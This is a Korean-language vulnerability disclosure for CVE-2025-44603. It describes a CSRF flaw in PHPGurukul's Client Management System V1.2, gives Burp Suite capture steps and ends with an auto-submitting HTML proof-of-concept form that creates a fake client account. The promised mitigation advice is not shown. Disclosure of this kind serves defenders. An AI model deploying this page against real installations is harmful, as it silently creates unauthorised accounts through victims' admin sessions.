CVE-2025-44603 (CSRF 취약점: 가짜 클라이언트 생성)

프로젝트 이름 및 저장소 URL : https://phpgurukul.com/client-management-system-using-php-mysql/

취약점 이름 : Cross-Site Request Forgery(CSRF)

영향을 받는 버전 : V1.2

소개

PHPGurukul에서 개발한 클라이언트 관리 시스템의 클라이언트 추가 기능에 CSRF(Cross-Site Request Forgery) 취약점이 존재합니다. CSRF는 인증된 사용자가 웹 애플리케이션에 악의적인 요청을 제출하도록 속이는 공격입니다. 이로 인해 사용자 모르게 권한 없는 작업이 수행될 수 있습니다. 이 보고서에서는 CSRF를 사용하여 클라이언트 관리 시스템에 가짜 사용자를 생성하는 방법을 시연하고 완화 전략을 제안합니다.

환경 설정

MySQL과 PHP를 사용하여 로컬에서 호스팅되는 클라이언트 관리 시스템.
클라이언트 및 해당 서비스를 추가하는 기능.

CSRF 악용 단계

1. 관리자로 로그인

제공된 자격 증명을 사용하여 클라이언트 관리 시스템에 로그인합니다.

2. 새 클라이언트 추가

클라이언트 추가 옵션을 선택합니다.
필요한 클라이언트 세부 정보를 입력합니다.

Adding new client Enter the client details

3. 클라이언트 추가 요청 캡처

저장 버튼으로 이동합니다.
Burp Suite를 설정하여 요청을 가로챕니다.
저장을 클릭하고 서버에 도달하기 전에 HTTP 요청을 캡처합니다.
캡처된 요청을 세션 쿠키 없이 Repeater 탭으로 보내 분석합니다.

Capturing the request in Burp Send to repeater

가짜 클라이언트를 위한 CSRF 코드

다음은 CSRF 공격을 위한 HTML PoC입니다:

<html>
  <body>
    <form action="http://localhost/clientms/admin/add-client.php" method="POST">
      <input type="hidden" name="accounttype" value="Active Account" />
      <input type="hidden" name="cname" value="moulimurugan" />
      <input type="hidden" name="comname" value="kppr" />
      <input type="hidden" name="address" value="vijayamangalam" />
      <input type="hidden" name="city" value="erode" />
      <input type="hidden" name="state" value="tamil" />
      <input type="hidden" name="zcode" value="638026" />
      <input type="hidden" name="wphnumber" value="968560710" />
      <input type="hidden" name="cellphnumber" value="6931052465" />
      <input type="hidden" name="ophnumber" value="9638560410" />
      <input type="hidden" name="email" value="[email protected]" />
      <input type="hidden" name="password" value="moulimurugan" />
      <input type="hidden" name="websiteadd" value="clientmsdb" />
      <input type="hidden" name="notes" value="Nil" />
      <input type="hidden" name="submit" value="" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>